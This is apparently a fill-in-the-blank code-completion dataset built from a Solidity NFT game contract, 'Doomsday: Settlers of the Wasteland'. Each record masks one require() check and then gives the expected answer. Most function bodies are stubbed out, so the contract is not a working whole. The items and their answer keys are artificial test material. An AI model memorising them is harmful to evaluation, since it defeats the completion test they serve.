type(uint80).max,"balance overflow"); uint32 tokenId = uint32(hashes.length + 1); if(itIsTheDawnOfANewAge){ ++age; firstSettlement = tokenId; itIsTheDawnOfANewAge = false; } uint256 supply = (hashes.length - destroyed.length - abandoned); uint256 difficulty = BASE_DIFFICULTY - (DIFFICULTY_RAMP * supply); uint256 lastSettleBlock = settlements[uint32(hashes.length )].settleBlock; require(block.number > lastSettleBlock,"lastSettleBlock"); uint256 blockDif = (block.number - lastSettleBlock); if(blockDif < DIFFICULTY_COOLDOWN){ difficulty /= DIFFICULTY_COOLDOWN_SLOPE * (DIFFICULTY_COOLDOWN - blockDif); } bytes32 hash = keccak256(abi.encodePacked( msg.sender, hashes[hashes.length - 1], location )); require(uint256(hash) < difficulty,"difficulty"); uint32 collapseBlock; if((supply + count) * COLLAPSE_RAMP < COLLAPSE_INITIAL - COLLAPSE_MIN){ collapseBlock = uint32(block.number + (COLLAPSE_INITIAL - (supply + count) * COLLAPSE_RAMP) / BLOCK_TIME); } else{ collapseBlock = uint32(block.number + COLLAPSE_MIN / BLOCK_TIME); } uint256 cost; for(uint32 i = 0; i < uint32(count); ++i){ cost += _settle(tokenId + i, hash,i,supply + i,collapseBlock,data); } require(msg.value >= cost,"cost"); require(gasleft() > 10000,"gas"); if(msg.value > cost){ payable(msg.sender).transfer(msg.value - cost); } } } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
!isDarkAge(),"dark age"
435,512
!isDarkAge()
"balance overflow"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { require(!isDarkAge(),"dark age"); require(count != 0,"count min"); require(count <= 20,"count max"); unchecked{ require(<FILL_ME>) uint32 tokenId = uint32(hashes.length + 1); if(itIsTheDawnOfANewAge){ ++age; firstSettlement = tokenId; itIsTheDawnOfANewAge = false; } uint256 supply = (hashes.length - destroyed.length - abandoned); uint256 difficulty = BASE_DIFFICULTY - (DIFFICULTY_RAMP * supply); uint256 lastSettleBlock = settlements[uint32(hashes.length )].settleBlock; require(block.number > lastSettleBlock,"lastSettleBlock"); uint256 blockDif = (block.number - lastSettleBlock); if(blockDif < DIFFICULTY_COOLDOWN){ difficulty /= DIFFICULTY_COOLDOWN_SLOPE * (DIFFICULTY_COOLDOWN - blockDif); } bytes32 hash = keccak256(abi.encodePacked( msg.sender, hashes[hashes.length - 1], location )); require(uint256(hash) < difficulty,"difficulty"); uint32 collapseBlock; if((supply + count) * COLLAPSE_RAMP < COLLAPSE_INITIAL - COLLAPSE_MIN){ collapseBlock = uint32(block.number + (COLLAPSE_INITIAL - (supply + count) * COLLAPSE_RAMP) / BLOCK_TIME); } else{ collapseBlock = uint32(block.number + COLLAPSE_MIN / BLOCK_TIME); } uint256 cost; for(uint32 i = 0; i < uint32(count); ++i){ cost += _settle(tokenId + i, hash,i,supply + i,collapseBlock,data); } require(msg.value >= cost,"cost"); require(gasleft() > 10000,"gas"); if(msg.value > cost){ payable(msg.sender).transfer(msg.value - cost); } } } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
address(this).balance<type(uint80).max,"balance overflow"
435,512
address(this).balance<type(uint80).max
"difficulty"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { require(!isDarkAge(),"dark age"); require(count != 0,"count min"); require(count <= 20,"count max"); unchecked{ require(address(this).balance < type(uint80).max,"balance overflow"); uint32 tokenId = uint32(hashes.length + 1); if(itIsTheDawnOfANewAge){ ++age; firstSettlement = tokenId; itIsTheDawnOfANewAge = false; } uint256 supply = (hashes.length - destroyed.length - abandoned); uint256 difficulty = BASE_DIFFICULTY - (DIFFICULTY_RAMP * supply); uint256 lastSettleBlock = settlements[uint32(hashes.length )].settleBlock; require(block.number > lastSettleBlock,"lastSettleBlock"); uint256 blockDif = (block.number - lastSettleBlock); if(blockDif < DIFFICULTY_COOLDOWN){ difficulty /= DIFFICULTY_COOLDOWN_SLOPE * (DIFFICULTY_COOLDOWN - blockDif); } bytes32 hash = keccak256(abi.encodePacked( msg.sender, hashes[hashes.length - 1], location )); require(<FILL_ME>) uint32 collapseBlock; if((supply + count) * COLLAPSE_RAMP < COLLAPSE_INITIAL - COLLAPSE_MIN){ collapseBlock = uint32(block.number + (COLLAPSE_INITIAL - (supply + count) * COLLAPSE_RAMP) / BLOCK_TIME); } else{ collapseBlock = uint32(block.number + COLLAPSE_MIN / BLOCK_TIME); } uint256 cost; for(uint32 i = 0; i < uint32(count); ++i){ cost += _settle(tokenId + i, hash,i,supply + i,collapseBlock,data); } require(msg.value >= cost,"cost"); require(gasleft() > 10000,"gas"); if(msg.value > cost){ payable(msg.sender).transfer(msg.value - cost); } } } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
uint256(hash)<difficulty,"difficulty"
435,512
uint256(hash)<difficulty
"gas"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { require(!isDarkAge(),"dark age"); require(count != 0,"count min"); require(count <= 20,"count max"); unchecked{ require(address(this).balance < type(uint80).max,"balance overflow"); uint32 tokenId = uint32(hashes.length + 1); if(itIsTheDawnOfANewAge){ ++age; firstSettlement = tokenId; itIsTheDawnOfANewAge = false; } uint256 supply = (hashes.length - destroyed.length - abandoned); uint256 difficulty = BASE_DIFFICULTY - (DIFFICULTY_RAMP * supply); uint256 lastSettleBlock = settlements[uint32(hashes.length )].settleBlock; require(block.number > lastSettleBlock,"lastSettleBlock"); uint256 blockDif = (block.number - lastSettleBlock); if(blockDif < DIFFICULTY_COOLDOWN){ difficulty /= DIFFICULTY_COOLDOWN_SLOPE * (DIFFICULTY_COOLDOWN - blockDif); } bytes32 hash = keccak256(abi.encodePacked( msg.sender, hashes[hashes.length - 1], location )); require(uint256(hash) < difficulty,"difficulty"); uint32 collapseBlock; if((supply + count) * COLLAPSE_RAMP < COLLAPSE_INITIAL - COLLAPSE_MIN){ collapseBlock = uint32(block.number + (COLLAPSE_INITIAL - (supply + count) * COLLAPSE_RAMP) / BLOCK_TIME); } else{ collapseBlock = uint32(block.number + COLLAPSE_MIN / BLOCK_TIME); } uint256 cost; for(uint32 i = 0; i < uint32(count); ++i){ cost += _settle(tokenId + i, hash,i,supply + i,collapseBlock,data); } require(msg.value >= cost,"cost"); require(<FILL_ME>) if(msg.value > cost){ payable(msg.sender).transfer(msg.value - cost); } } } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
gasleft()>10000,"gas"
435,512
gasleft()>10000
"dark age"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { require(<FILL_ME>) require(_isValidToken(_tokenId),"invalid"); uint256 eliminationWindow = (block.number % DISASTER_BLOCK_INTERVAL); if(eliminationWindow < 25){ require(msg.sender == ownerOf(_tokenId),"owner"); }else if(eliminationWindow < 50){ require(balanceOf[msg.sender] != 0,"balance"); } uint8 _type; bool _destroyed; uint minted = hashes.length; uint supply = minted - destroyed.length - abandoned; unchecked{ (_type, _destroyed) = IDoomsdaySettlersDarkAge(DARK_AGE).disaster(_tokenId, supply); } bool darkAgeOver = false; uint80 disaster_fee; if(_destroyed){ unchecked{ uint80 tokenFee = uint80((uint88(2363029719748390562045450) >> settlements[_tokenId].settlementType * 9)%uint88(512)) * uint80(0.000001 ether); uint80 growth; if(_tokenId >= firstSettlement){ growth = uint80(minted - _tokenId); }else{ growth = uint80(minted - firstSettlement) + 1; } uint80 _relics = growth * tokenFee; relics += _relics/2 + settlements[_tokenId].relics + settlements[_tokenId].supplies + IDoomsdaySettlersDarkAge(DARK_AGE).getUnusedFees(_tokenId) * DAMAGE_FEE; destroyed.push(_tokenId); _burn(_tokenId); --supply; if(supply == 1){ _processWinner(_data); darkAgeOver = true; } } disaster_fee = DESTRUCTION_FEE; }else{ disaster_fee = DAMAGE_FEE; } emit Disaster(_tokenId,_type, _destroyed, darkAgeOver); payable(msg.sender).transfer(disaster_fee); } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
isDarkAge(),"dark age"
435,512
isDarkAge()
"invalid"
